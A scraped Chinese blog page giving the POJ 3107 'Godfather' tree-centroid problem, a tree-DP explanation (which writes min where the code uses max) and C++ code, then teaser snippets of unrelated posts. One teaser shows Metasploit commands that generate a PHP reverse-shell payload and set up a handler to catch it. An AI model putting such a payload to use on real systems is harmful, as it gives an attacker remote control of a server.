[POJ3107]Godfather
Time Limit: 2000MS   Memory Limit: 65536K
Total Submissions: 7212   Accepted: 2535

Description

Last years Chicago was full of gangster fights and strange murders. The chief of the police got really tired of all these crimes, and decided to arrest the mafia leaders.

Unfortunately, the structure of Chicago mafia is rather complicated. There are n persons known to be related to mafia. The police have traced their activity for some time, and know that some of them are communicating with each other. Based on the data collected, the chief of the police suggests that the mafia hierarchy can be represented as a tree. The head of the mafia, Godfather, is the root of the tree, and if some person is represented by a node in the tree, its direct subordinates are represented by the children of that node. For the purpose of conspiracy the gangsters only communicate with their direct subordinates and their direct master.

Unfortunately, though the police know gangsters’ communications, they do not know who is a master in any pair of communicating persons. Thus they only have an undirected tree of communications, and do not know who Godfather is.

Based on the idea that Godfather wants to have the most possible control over mafia, the chief of the police has made a suggestion that Godfather is such a person that after deleting it from the communications tree the size of the largest remaining connected component is as small as possible. Help the police to find all potential Godfathers and they will arrest them.

Input

The first line of the input file contains n — the number of persons suspected to belong to mafia (2 ≤ n ≤ 50 000). Let them be numbered from 1 to n.

The following n − 1 lines contain two integer numbers each. The pair aibi means that the gangster ai has communicated with the gangster bi. It is guaranteed that the gangsters’ communications form a tree.

Output

Print the numbers of all persons that are suspected to be Godfather. The numbers must be printed in the increasing order, separated by spaces.

Sample Input

6
1 2
2 3
2 5
3 4
3 6

Sample Output

2 3

Source

Northeastern Europe 2005, Northern Subregion
 
题目大意:给你N个节点的无根树,一个节点是"老大"当且仅当删去他后其节点数最大的子树最小。问有那些节点是"老大"。
试题分析:Maxt[i]表示i节点的子树中size最大的
     size[i]表示以i为根的子树的大小。
     易知:size[i]=sum(size[i->son]) 
        Maxt[i]=max(size[i->son])
     那么每个节点答案就是min(Maxt[i],N-size[i])
     最后统计一下输出就好,水题……
 
#include<iostream>
#include<cstring>
#include<cstdio>
#include<vector>
#include<queue>
#include<stack>
#include<algorithm>
using namespace std; inline int read(){
int x=0,f=1;char c=getchar();
for(;!isdigit(c);c=getchar()) if(c=='-') f=-1;
for(;isdigit(c);c=getchar()) x=x*10+c-'0';
return x*f;
}
const int MAXN=100001;
const int INF=999999;
int N,M;
int Node[MAXN*2],Root[MAXN*2],Next[MAXN*2];
int Maxt[MAXN];
int size[MAXN];
int ans,tmp;
int te[MAXN];
int cnt; void addedge(int u,int v){
++cnt;
Node[cnt]=v;
Next[cnt]=Root[u];
Root[u]=cnt;
return ;
}
void dfs(int x,int fa){
size[x]=1;
for(int i=Root[x];i;i=Next[i]){
int t=Node[i];
if(t==fa) continue;
dfs(t,x); size[x]+=size[t];
}
return ;
}
void dfs2(int x,int fa){
for(int i=Root[x];i;i=Next[i]){
int t=Node[i];
if(t==fa) continue;
dfs2(t,x); Maxt[x]=max(size[t],Maxt[x]);
}
return ;
} int main(){
N=read();
for(int i=1;i<N;i++){
int u=read(),v=read();
addedge(u,v);
addedge(v,u);
}
dfs(1,-1); dfs2(1,-1);ans=INF;
for(int i=1;i<=N;i++){
int t=max(Maxt[i],N-size[i]);
if(ans>t) ans=t;
}
for(int i=1;i<=N;i++){
int t=max(Maxt[i],N-size[i]);
if(ans==t){
te[++tmp]=i;
}
}
for(int i=1;i<=tmp;i++) printf("%d ",te[i]);
}

【树形dp】Godfather的更多相关文章

  1. POJ 3107.Godfather 树形dp

    Godfather Time Limit: 2000MS   Memory Limit: 65536K Total Submissions: 7536   Accepted: 2659 Descrip ...

  2. POJ 1655 BalanceAct 3107 Godfather (树的重心)(树形DP)

    参考网址:http://blog.csdn.net/acdreamers/article/details/16905653   树的重心的定义: 树的重心也叫树的质心.找到一个点,其所有的子树中最大的 ...

  3. [poj3107/poj2378]Godfather/Tree Cutting树形dp

    题意:求树的重心(删除该点后子树最大的最小) 解题关键:想树的结构,删去某个点后只剩下它的子树和原树-此树所形成的数,然后第一次dp求每个子树的节点个数,第二次dp求解答案即可. 此题一开始一直T,后 ...

  4. 树形DP

    切题ing!!!!! HDU  2196 Anniversary party 经典树形DP,以前写的太搓了,终于学会简单写法了.... #include <iostream> #inclu ...

  5. 【转】【DP_树形DP专辑】【9月9最新更新】【from zeroclock's blog】

    树,一种十分优美的数据结构,因为它本身就具有的递归性,所以它和子树见能相互传递很多信息,还因为它作为被限制的图在上面可进行的操作更多,所以各种用于不同地方的树都出现了,二叉树.三叉树.静态搜索树.AV ...

  6. 【DP_树形DP专题】题单总结

    转载自 http://blog.csdn.net/woshi250hua/article/details/7644959#t2 题单:http://vjudge.net/contest/123963# ...

  7. 树形dp总结

    转自 http://blog.csdn.net/angon823 介绍 1.什么是树型动态规划 顾名思义,树型动态规划就是在"树"的数据结构上的动态规划,平时作的动态规划都是线性的 ...

  8. 树形 DP 总结

    树形 DP 总结 本文转自:http://blog.csdn.net/angon823/article/details/52334548 介绍 1.什么是树型动态规划 顾名思义,树型动态规划就是在“树 ...

  9. poj3417 LCA + 树形dp

    Network Time Limit: 2000MS   Memory Limit: 65536K Total Submissions: 4478   Accepted: 1292 Descripti ...

  10. COGS 2532. [HZOI 2016]树之美 树形dp

    可以发现这道题的数据范围有些奇怪,为毛n辣么大,而k只有10 我们从树形dp的角度来考虑这个问题. 如果我们设f[x][k]表示与x距离为k的点的数量,那么我们可以O(1)回答一个询问 可是这样的话d ...

随机推荐

  1. Linux系统文件权限体系详解

    准备工作:先简单了解Linux文件权限 在Linux系统中,ls -l 命令可以查看文件的权限,如 [zhaohuizhen@localhost Test]$ ls -l a -rw-rw-r--. ...

  2. Spring4+SpringMVC+MyBatis整合思路(山东数漫江湖)

    1.Spring框架的搭建 这个很简单,只需要web容器中注册org.springframework.web.context.ContextLoaderListener,并指定spring加载配置文件 ...

  3. 【洛谷 P4568】 [JLOI2011]飞行路线 (分层最短路)

    题目链接 分层图最短路. 把每个点拆成\(k+1\)个点,表示总共有\(k+1\)层. 然后每层正常连边, 若\((u,v)\)有边,则把每一层的\(u\)和下一层的\(v\).每一层的\(v\)和下 ...

  4. 代码合并:Merge、Rebase 的选择

    图解 Git 命令 基本用法 上面的四条命令在工作目录.stage 缓存(也叫做索引)和 commit 历史之间复制文件. git add files 把工作目录中的文件加入 stage 缓存 git ...

  5. msf web脚本反弹shell

    msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php msf > use multi/handle ...

  6. rabbitmq之队列性能测试及优化方法(六)

    前言 下面关注一下rabbitmq实际使用时的性能问题和怎么进行一些优化. 性能测试 针对每个需要生产/消费者与rabbitmq进行通讯的方法进行测试 测试环境 排除网络IO的干扰,采用生产者和消费者 ...

  7. Linux 入门记录:七、fdisk 分区工具

    一.fdisk分区工具 fdisk 是来自 IBM 的老牌分区工具,支持绝大多数操作系统,几乎所有的 Linux 发行版都装有 fdisk,包括在 Linux 的 resuce 模式下依然能够使用. ...

  8. 安全测试===burpsuit指南

    网址: https://www.gitbook.com/book/t0data/burpsuite/details 引子 刚接触web安全的时候,非常想找到一款集成型的渗透测试工具,找来找去,最终选择 ...

  9. MySQL多线程复制故障(slave_pending_jobs_size_max)

    MySQL多线程复制故障(slave_pending_jobs_size_max) http://www.xuchanggang.cn/archives/1079.html

  10. MySQL:按后缀缀批量删除表格

    Select CONCAT( 'drop table ', table_name, ';' ) FROM information_schema.tables Where table_schema='s ...